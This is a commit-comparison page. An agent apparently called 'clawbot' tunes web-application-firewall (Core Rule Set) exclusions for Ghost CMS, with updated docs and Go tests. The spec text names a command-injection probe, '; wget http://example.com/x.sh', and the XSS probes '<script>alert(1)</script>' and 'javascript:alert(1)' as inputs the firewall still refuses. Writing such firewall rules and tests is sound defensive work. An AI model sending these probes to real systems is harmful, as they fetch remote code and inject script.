Compare commits

..
Author SHA1 Message Date
clawbot 799ae441b4 Core Rule Set: Ghost's remaining fields pass with words that name commands (closes #359)
check / check (push) Waiting to run
Ghost 6.76.0 was sent the fields not yet recorded with python3,
powershell, ls -la and .htaccess. Fixes in ghost.conf:

- eight rules that refused words naming commands and files, 932235 among
  them, for staff profiles, setup, invitations, tiers, offers,
  recommendations, integrations, webhooks, feature images, comments, the
  CSV import's labels, ActivityPub, and source and the utm_ fields;
- 932235 for the existing plain-text fields and code injection;
- filter skips six more rules, for title:~'powershell & python3';
- pathname skips 930120, 932120 and 932260;
- invitation addresses, email_segment, a tag's canonical_url, and
  ActivityPub's handles, actorUri and domain;
- a tag's code injection skips what a post's does.

Model: opus-5-5
2026-11-12 07:37:04 +00:00
clawbot c4bf76c966 rproxy test: send the body over its limit without Connection: close (closes #371)
check / check (push) Waiting to run
visit's client sends Connection: close, and Go's server then closes the
connection after the 413 without reading the rest of the body. The
visitor, still sending, could see the reset before the answer. The test
now sends the request on its own connection without that header, so Go's
server reads the rest before it closes.

Model: opus-5-5
2026-11-12 07:44:01 +01:00
clawbot aaa9719f02 Core Rule Set: Ghost posts and code injection take a script element (closes #358)
check / check (push) Waiting to run
While bodies are read, 941110 refused a `<script>` element in an HTML card
that embeds a widget, and in code injection that loads analytics. The new
exclusion 900366 switches 941110 off on the Admin API for `lexical`,
`mobiledoc` and `html` of posts and pages, their `codeinjection_head` and
`codeinjection_foot`, and settings `value`. Snippets, a newsletter's footer
and every other field and path still refuse it; `javascript:` links stay
refused everywhere.

Model: opus-5-5
2026-11-12 06:13:59 +01:00
6 changed files with 460 additions and 112 deletions

No files matched your search

+3 -4
View File
@@ -609,10 +609,9 @@ lowers a client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
- `nextcloud`, whose fixes let through its sync client, its WebDAV methods,
its searches, its file names, its account names, its comments and its
documents;
- `ghost`, whose fixes let through its filters, its searches, its names, its
email addresses, its code injection, its settings, its analytics, its
members' comments, ActivityPub and a post saved from its editor, HTML
included.
- `ghost`, whose fixes let through the text its admin and members type, its
analytics, its code injection, ActivityPub and a post saved from its
editor, HTML included.
- A random password, as a password manager makes one, gets through these forms:
- signing in, signing up, and changing or resetting a password, on
WordPress, Drupal, MediaWiki, Mastodon, Nextcloud, gitea and Ghost;
+61 -26
View File
@@ -1750,29 +1750,30 @@ under `/ghost/api/admin/`. Themes and Ghost's scripts call the Content API under
`/ghost/api/content/`, and members call `/members/api/`. The admin calls
ActivityPub, a service of its own, under `/.ghost/activitypub/`.
The rules of plain text are 930120, 932120, 932125, 932230, 932235, 932250,
932260 and 932380. They refused words that name commands and files, such as
`python3`, `ls -la` and `.htaccess`, and titles such as `powershell & python3`.
Eight rules refused words that name commands and files, such as `python3`,
`ls -la`, `.htaccess` and the title `powershell & python3`. They are 930120,
932120, 932125, 932230, 932235, 932250, 932260 and 932380.
These query fields skip some rules:
- `filter`, a query in Ghost's own filter language, skips the rules of plain
text except 930120, on the Admin API and the Content API;
- `filter`, a query in Ghost's own filter language, skips those eight rules
except 930120, on the Admin API and the Content API;
- `search`, a search for a member, skips 930120, 932120, 932250 and 932260 on
the Admin API;
- `url`, the address the editor looks up for an embed or a bookmark, skips
930120 and 932120;
- `pathname`, `source` and the `utm_` fields, which filter the analytics, skip
the rules of plain text under `/ghost/api/admin/stats/`;
- `source` and the `utm_` fields, which filter the analytics, skip those eight
rules under `/ghost/api/admin/stats/`;
- `pathname`, the page the analytics show, skips 930120, 932120 and 932260
there;
- `email_segment`, the members a post is sent to as a newsletter, skips 932120
on the Admin API's posts;
- `query`, a search for an account in ActivityPub, skips the rules of plain
text;
- `query`, a search for an account in ActivityPub, skips those eight rules;
- `email`, when an invitation is checked, skips 930120, 932120 and 932260.
The fields of JSON bodies where a person types plain text skip the rules of
plain text. They are these fields of posts, pages, tags, labels, members,
newsletters and snippets, on the Admin API:
The fields of JSON bodies where a person types plain text skip those eight
rules. They are these fields of posts, pages, tags, labels, members, newsletters
and snippets, on the Admin API:
- `title`, `name` and `slug`;
- a post's `tags` and a member's `labels`, by name or slug;
@@ -1795,14 +1796,34 @@ These fields skip them on their own paths:
- a member's `name` at `/members/api/`;
- `html` of a member's comment at `/members/api/comments/`;
- `labels`, when the admin imports members from a CSV file;
- in ActivityPub, `content` of a note or a reply, and `name`, `username` and
`bio` of the account.
- `content` of a note or a reply in ActivityPub, and `image.altText`, the
description of its image;
- `name`, `username` and `bio` of the account in ActivityPub.
A member's `email` skips 930120, 932120 and 932260, at `/members/api/` and when
the admin adds or edits a member. A staff user's address skips them too:
`username` when signing in, and `email` when creating the first staff user,
asking for a password reset, saving a profile, inviting a staff user or
accepting an invitation.
the admin adds or edits a member. A staff user's address skips them too. It is
sent as `username` when signing in, and as `email` in these requests:
- creating the first staff user;
- asking for a password reset;
- saving a profile;
- inviting a staff user;
- accepting an invitation.
In ActivityPub, an account's handle and its address skip 930120 and 932120. The
domain of the site's handle skips 930120, 932120 and 932260. Each field skips
its rules only on its own path:
- `sourceHandle`, an account that moves here, when it is added at
`/.ghost/activitypub/v1/aliases`;
- `actorUri`, that account's address, when the admin removes it there;
- `targetHandle`, the account this one moves to, at
`/.ghost/activitypub/v1/migration`;
- `domain`, saved at `/.ghost/activitypub/v1/domain` and checked at
`/.ghost/activitypub/v1/domain/validate`.
A tag's `canonical_url` skips 930120 and 932120 under `/ghost/api/admin/tags/`,
as `url` does.
The articles carry HTML on purpose. These fields on the Admin API hold them:
@@ -1827,18 +1848,32 @@ These fields on the Admin API hold it:
Code injection skips these rules:
- the rules of plain text except 932235;
- 930120, 932120, 932125, 932230, 932235, 932250, 932260 and 932380, which
refused words that name commands and files, such as the site's title
`powershell & python3`;
- 921130, 941100, 941160 and 941270, which refused `<meta>` and `<link>`
elements.
`<script>alert(1)</script>` and `javascript:alert(1)` are still refused in the
articles and code injection (941110, 941170 and 941210). Path traversal and SQL
injection are still refused in every field above. Script injection is too,
outside the articles.
A `<script>` element skips 941110 in posts, pages and code injection, so an HTML
card can embed a widget and code injection can load analytics. These are the
fields, on the Admin API:
`; wget http://example.com/x.sh` is still refused in the addresses, `search`,
`url`, `email_segment` and `email`. The plain text, the articles and the other
query fields skip 932235, which refuses it, since 932235 also refuses
- `lexical`, `mobiledoc` and `html` of posts and pages;
- `codeinjection_head` and `codeinjection_foot` of posts, pages and tags;
- `value` of settings.
`<script>alert(1)</script>` is still refused in snippets and newsletters.
`javascript:alert(1)` is still refused in the articles and code injection
(941170 and 941210). Path traversal and SQL injection are still refused in every
field above. Script injection is too, outside the articles and code injection.
`; wget http://example.com/x.sh` is still refused in these fields:
- the addresses, the handles and the domain;
- a tag's `canonical_url`;
- `search`, `url`, `pathname`, `email_segment` and `email`.
The other fields above skip 932235, which refuses that command but also refuses
`powershell & python3`.
Coraza names a staff user's `profile_image` field `json.users.0.profile_image`.
+114 -38
View File
@@ -57,25 +57,35 @@ SecRule REQUEST_FILENAME "@streq /ghost/api/admin/oembed/" \
ctl:ruleRemoveTargetById=930120;ARGS:url,\
ctl:ruleRemoveTargetById=932120;ARGS:url"
# The query fields of the analytics pages skip the eight rules of plain text,
# which 900353 lists, on /ghost/api/admin/stats/:
# 930120: pathname=/.htaccess
# The query fields that filter the analytics skip the eight rules that 900353
# lists, on /ghost/api/admin/stats/:
# 932120: source=powershell.example.com
# 932235, 932260: utm_campaign=powershell & python3
# 932250: utm_term=ls -la
# These fields filter the figures by a page, the site a visit came from, or a
# campaign: pathname, source, utm_source, utm_medium, utm_campaign,
# utm_content and utm_term.
# These fields filter the figures by the site a visit came from, or a
# campaign: source, utm_source, utm_medium, utm_campaign, utm_content and
# utm_term.
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/stats/" \
"id:900367,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:pathname|source|utm_(?:source|medium|campaign|content|term))$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:pathname|source|utm_(?:source|medium|campaign|content|term))$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:pathname|source|utm_(?:source|medium|campaign|content|term))$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:pathname|source|utm_(?:source|medium|campaign|content|term))$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^(?:pathname|source|utm_(?:source|medium|campaign|content|term))$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:pathname|source|utm_(?:source|medium|campaign|content|term))$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:pathname|source|utm_(?:source|medium|campaign|content|term))$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:pathname|source|utm_(?:source|medium|campaign|content|term))$/"
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/"
# pathname, the page the analytics show, skips three rules on
# /ghost/api/admin/stats/, which refused the path of a post and of tag pages:
# 930120: pathname=/tag/proc/
# 932120: pathname=/python3-and-powershell/
# 932260: pathname=/tag/python3/
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/stats/" \
"id:900385,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:pathname,\
ctl:ruleRemoveTargetById=932120;ARGS:pathname,\
ctl:ruleRemoveTargetById=932260;ARGS:pathname"
# email_segment, the members a post is sent to as a newsletter, skips 932120
# on the Admin API's posts: email_segment=label:powershell-users.
@@ -83,8 +93,8 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/posts/" \
"id:900368,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=932120;ARGS:email_segment"
# query, a search for an account in ActivityPub, skips the eight rules of plain
# text: query=python3, query=@powershell@example.com.
# query, a search for an account in ActivityPub, skips the eight rules that
# 900353 lists: query=python3, query=@powershell@example.com.
SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/actions/search" \
"id:900369,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:query,\
@@ -96,8 +106,8 @@ SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/actions/search" \
ctl:ruleRemoveTargetById=932260;ARGS:query,\
ctl:ruleRemoveTargetById=932380;ARGS:query"
# The fields a person types plain text into skip eight rules, the rules of
# plain text, on the Admin API:
# The fields a person types plain text into skip eight rules on the Admin API,
# which refused words that name commands and files:
# 930120: the title "Using python3 and ls -la to tidy .htaccess files"
# 932120: the page's slug about-python3-powershell-htaccess
# 932125, 932230, 932250: the tag "Linux & ls -la"
@@ -191,23 +201,26 @@ SecRule REQUEST_FILENAME "@streq /ghost/api/admin/members/upload/" \
ctl:ruleRemoveTargetById=932260;ARGS:labels,\
ctl:ruleRemoveTargetById=932380;ARGS:labels"
# In ActivityPub, a note's or a reply's content and an account's name, username
# and bio skip the same eight rules, which refused "Trying python3 & powershell"
# and the bio "ls -la and .htaccess tips". Each field skips them on its own path:
# content, posting a note at /.ghost/activitypub/v1/actions/note or a reply
# under /.ghost/activitypub/v1/actions/reply/
# In ActivityPub, a note's or a reply's text and the description of its image,
# and an account's name, username and bio, skip the same eight rules. They
# refused "Trying python3 & powershell", the image's description "A terminal
# running ls -la on .htaccess with python3" and the bio "ls -la and .htaccess
# tips". Each field skips them on its own path:
# content and image.altText, posting a note at
# /.ghost/activitypub/v1/actions/note or a reply under
# /.ghost/activitypub/v1/actions/reply/
# name, username and bio, saving the account at /.ghost/activitypub/v1/account
SecRule REQUEST_FILENAME "@rx ^/\.ghost/activitypub/v1/actions/(?:note$|reply/)" \
"id:900373,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.content$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.content$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.content$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.content$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.content$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.content$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.content$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.content$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.content$/"
SecRule &ARGS_GET:/^json\.(?:content|image\.alttext)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:content|image\.alttext)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:content|image\.alttext)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:content|image\.alttext)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:content|image\.alttext)$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:content|image\.alttext)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:content|image\.alttext)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:content|image\.alttext)$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:content|image\.alttext)$/"
SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/account" \
"id:900374,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:name|username|bio)$/ "@eq 0" \
@@ -296,6 +309,39 @@ SecRule REQUEST_FILENAME "@streq /ghost/api/admin/authentication/invitation/" \
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.invitation\.\d+\.email$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.invitation\.\d+\.email$/"
# In ActivityPub, an account's handle and its address skip 930120 and 932120.
# They refused the handles @erin.htaccess@example.com and
# @powershell@example.com, and the addresses
# https://example.com/users/erin.htaccess and
# https://example.com/users/powershell. A handle starts with an @, so 932260
# does not refuse @python3.dev@example.com. The domain of the site's handle
# skips the same three rules as an email address, which refused
# erin.htaccess.example.com, powershell.example.com and python3.example.com.
# Each of these fields skips them only on its own path:
# sourceHandle, an account that moves here, added at
# /.ghost/activitypub/v1/aliases
# actorUri, that account's address, when the admin removes it there
# targetHandle, the account this one moves to, at
# /.ghost/activitypub/v1/migration
# domain, saved at /.ghost/activitypub/v1/domain and checked at
# /.ghost/activitypub/v1/domain/validate
SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/aliases" \
"id:900379,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:sourcehandle|actoruri)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:sourcehandle|actoruri)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:sourcehandle|actoruri)$/"
SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/migration" \
"id:900380,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.targethandle$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.targethandle$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.targethandle$/"
SecRule REQUEST_FILENAME "@rx ^/\.ghost/activitypub/v1/domain(?:/validate)?$" \
"id:900381,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.domain$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.domain$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.domain$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.domain$/"
# The articles skip these rules on the Admin API:
# 930120: ls -la /var/www/html/.htaccess in a code block
# 932120: powershell -ExecutionPolicy Bypass -File build.ps1
@@ -317,8 +363,8 @@ SecRule REQUEST_FILENAME "@streq /ghost/api/admin/authentication/invitation/" \
# snippets.<n>.lexical and snippets.<n>.mobiledoc, a part of a post saved for
# reuse
# newsletters.<n>.footer_content, the footer of a newsletter
# A <script> element (941110) and a javascript: link (941170, 941210) are still
# refused in them.
# A javascript: link (941170, 941210) is still refused in them. A <script>
# element (941110) passes only in posts and pages, by 900366.
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
"id:900355,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/ "@eq 0" \
@@ -342,13 +388,15 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
# Code injection, the HTML Ghost adds to the head and the foot of a page, and
# the site's settings, which hold the site-wide code injection besides the
# title and the description, skip the rules of plain text above and these:
# title and the description, skip the eight rules that 900353 lists and these:
# 921130, 941100, 941160: <meta name="google-site-verification" ...>
# 941270: <link rel="preconnect" href="https://fonts.example.com">
# 932235, one of the eight, refused the site's title "powershell & python3".
# These fields hold it, and skip the rules anywhere on the Admin API:
# posts.<n>.codeinjection_head and _foot, and the same fields of pages
# settings.<n>.value, the value of a setting
# A <script> element and a javascript: link are still refused in them.
# A javascript: link is still refused in them, and a <script> element passes
# by 900366.
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
"id:900356,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/ "@eq 0" \
@@ -357,6 +405,7 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
@@ -364,6 +413,21 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
ctl:ruleRemoveTargetById=941160;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=941270;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/"
# A <script> element skips 941110 in posts, pages and code injection, on the
# Admin API, which refused:
# an HTML card that embeds a widget with its script
# code injection that loads analytics,
# <script defer src="https://analytics.example.com/script.js"></script>
# These fields take a <script> element on purpose:
# posts.<n>.lexical, mobiledoc and html, and the same fields of pages
# posts.<n>.codeinjection_head and _foot, and the same fields of pages
# settings.<n>.value, the value of a setting
# Snippets and a newsletter's footer still refuse it.
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
"id:900366,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html|codeinjection_(?:head|foot))|settings\.\d+\.value)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=941110;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html|codeinjection_(?:head|foot))|settings\.\d+\.value)$/"
# Saving a staff user's profile sends the field profile_image, whose name holds
# .profile, a file the list of system files names (930120).
SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
@@ -372,8 +436,8 @@ SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
"ctl:ruleRemoveTargetById=930120;ARGS_NAMES:/^json\.users\.\d+\.profile_image$/"
# A tag's code injection, tags.<n>.codeinjection_head and _foot under
# /ghost/api/admin/tags/, skips the same rules as the code injection of posts.
# A <script> element and a javascript: link are still refused in it.
# /ghost/api/admin/tags/, skips the rules that 900356 and 900366 switch off in
# the code injection of posts. A javascript: link is still refused in it.
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/tags/" \
"id:900378,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/ "@eq 0" \
@@ -382,13 +446,25 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/tags/" \
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=941110;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=941270;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/"
# A tag's canonical URL, tags.<n>.canonical_url under /ghost/api/admin/tags/,
# skips the two rules that url skips:
# 930120: https://example.com/tag/.htaccess/
# 932120: https://example.com/tag/powershell/
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/tags/" \
"id:900382,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.tags\.\d+\.canonical_url$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.tags\.\d+\.canonical_url$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.tags\.\d+\.canonical_url$/"
# The passwords, which skip each rule that random passwords set off:
# password, signing in at /ghost/api/admin/session/
# setup.<n>.password, creating the first staff user
+272 -39
View File
@@ -38,6 +38,9 @@ const (
ghostComments = "/members/api/comments/"
ghostNote = "/.ghost/activitypub/v1/actions/note"
ghostAccount = "/.ghost/activitypub/v1/account"
ghostAliases = "/.ghost/activitypub/v1/aliases"
ghostMigration = "/.ghost/activitypub/v1/migration"
ghostDomain = "/.ghost/activitypub/v1/domain"
)
func TestGhostFixesApplyOnlyToAHostnameThatServesGhost(t *testing.T) {
@@ -74,7 +77,7 @@ func (f ghostField) with(t *testing.T, value string) string {
)
}
// ghostTextFields hold plain text and skip the eight rules of plain text.
// ghostTextFields hold plain text and skip the eight rules that 900353 lists.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostTextFields = []ghostField{
@@ -197,9 +200,12 @@ var ghostTextFields = []ghostField{
`{"comments":[{"id":"6af5426ae56ecb0001938894","html":"<p>VALUE</p>"}]}`,
},
// ActivityPub: a note, a reply and the account.
// ActivityPub: a note, a reply, the description of their image, and the
// account.
{http.MethodPost, ghostNote, `{"content":"VALUE"}`},
{http.MethodPost, ghostReply, `{"content":"VALUE"}`},
{http.MethodPost, ghostNote, ghostNoteImage},
{http.MethodPost, ghostReply, ghostNoteImage},
{http.MethodPut, ghostAccount, `{"name":"VALUE","username":"alice"}`},
{http.MethodPut, ghostAccount, `{"username":"VALUE"}`},
{http.MethodPut, ghostAccount, `{"bio":"VALUE"}`},
@@ -218,6 +224,11 @@ var ghostNewComment = ghostField{
const ghostComment = `Try <strong>python3</strong>, then ` +
`<a href="https://example.com/ls-la" rel="ugc">ls -la</a>.`
// ghostNoteImage is the body of a note or a reply in ActivityPub with an
// image, with VALUE as the image's description.
const ghostNoteImage = `{"content":"My desk","image":{"url":` +
`"https://example.com/content/images/desk.png","altText":"VALUE"}}`
// ghostReply is the path that posts a reply to a note in ActivityPub.
const ghostReply = "/.ghost/activitypub/v1/actions/reply/" +
"https%3A%2F%2Fexample.com%2F.ghost%2Factivitypub%2Fnote%2F" +
@@ -250,10 +261,45 @@ var ghostAddressFields = []ghostField{
{http.MethodPut, ghostUser, `{"users":[{"email":"VALUE"}]}`},
}
// ghostArticleFields hold an article and skip the rules of 900355.
// ghostHandleFields hold an account's handle in ActivityPub, which the admin
// sends as an @ followed by an address, with no spaces. They skip 930120 and
// 932120.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostArticleFields = []ghostField{
var ghostHandleFields = []ghostField{
{http.MethodPost, ghostAliases, `{"sourceHandle":"@VALUE"}`},
{http.MethodPost, ghostMigration, `{"targetHandle":"@VALUE"}`},
}
// ghostDomainFields hold the domain of the site's handle in ActivityPub and
// skip 930120, 932120 and 932260.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostDomainFields = []ghostField{
{http.MethodPut, ghostDomain, `{"domain":"VALUE"}`},
{http.MethodPost, ghostDomain + "/validate", `{"domain":"VALUE"}`},
}
// ghostURLFields hold a tag's canonical URL, or the address of an account
// removed from those that move here in ActivityPub. They skip 930120 and
// 932120, as url does.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostURLFields = []ghostField{
{http.MethodPost, ghostTags, `{"tags":[{"canonical_url":"VALUE"}]}`},
{
http.MethodPut,
ghostTags + "6af45d4ed281b00001a599a8/",
`{"tags":[{"canonical_url":"VALUE"}]}`,
},
{http.MethodDelete, ghostAliases, `{"actorUri":"VALUE"}`},
}
// ghostPostFields hold a post or a page, skip the rules of 900355, and take a
// <script> element by 900366.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostPostFields = []ghostField{
{http.MethodPut, ghostPost, `{"posts":[{"lexical":"VALUE"}]}`},
{http.MethodPut, ghostPage, `{"pages":[{"lexical":"VALUE"}]}`},
{
@@ -262,6 +308,13 @@ var ghostArticleFields = []ghostField{
`{"posts":[{"html":"VALUE"}]}`,
},
{http.MethodPost, ghostPosts, `{"posts":[{"mobiledoc":"VALUE"}]}`},
}
// ghostSnippetAndNewsletterFooterFields hold a snippet or a newsletter's
// footer, skip the rules of 900355, and still refuse a <script> element.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostSnippetAndNewsletterFooterFields = []ghostField{
{
http.MethodPost,
"/ghost/api/admin/snippets/",
@@ -274,8 +327,16 @@ var ghostArticleFields = []ghostField{
},
}
// ghostCodeFields hold code injection or a setting and skip the rules of
// 900356 and 900378.
// ghostArticleFields hold an article and skip the rules of 900355.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostArticleFields = slices.Concat(
ghostPostFields,
ghostSnippetAndNewsletterFooterFields,
)
// ghostCodeFields hold code injection or a setting, skip the rules of 900356
// and 900378, and take a <script> element by 900366 and 900378.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostCodeFields = []ghostField{
@@ -321,6 +382,19 @@ const (
ghostInvitedEmail = ghostInvitation + "?email="
)
// ghostAnalyticsFilters are source and the utm_ fields, which filter the
// analytics, each ending in "=".
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostAnalyticsFilters = []string{
ghostSource,
ghostStats + "&utm_source=",
ghostStats + "&utm_medium=",
ghostCampaign,
ghostStats + "&utm_content=",
ghostStats + "&utm_term=",
}
// ghostQueryFields are the query fields that skip some rules.
//
//nolint:gochecknoglobals // a constant cannot be a list
@@ -333,7 +407,8 @@ var ghostQueryFields = []string{
// ghostCommandNames joins two command names, as an ordinary title can.
const ghostCommandNames = "powershell & python3"
// ghostURLs are addresses 930120 and 932120 refused in url.
// ghostURLs are addresses 930120 and 932120 refused in url and in
// ghostURLFields.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostURLs = []string{
@@ -351,6 +426,15 @@ var ghostAddresses = []string{
"dave.powershell@example.com",
}
// ghostDomains are domains 930120, 932120 and 932260 refused.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostDomains = []string{
"erin.htaccess.example.com",
"python3.example.com",
"powershell.example.com",
}
// ghostArticle is an ordinary article with a code block, an HTML card and an
// embed, which each of the rules of 900355 refused.
const ghostArticle = `<h2>Tidy .htaccess with python3</h2>` +
@@ -440,14 +524,24 @@ func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
for _, address := range ghostURLs {
wantGhostQuery(t, ghostEmbed+url.QueryEscape(address), false)
for _, f := range ghostURLFields {
wantGhostField(t, f, address, false)
}
}
for _, address := range ghostAddresses {
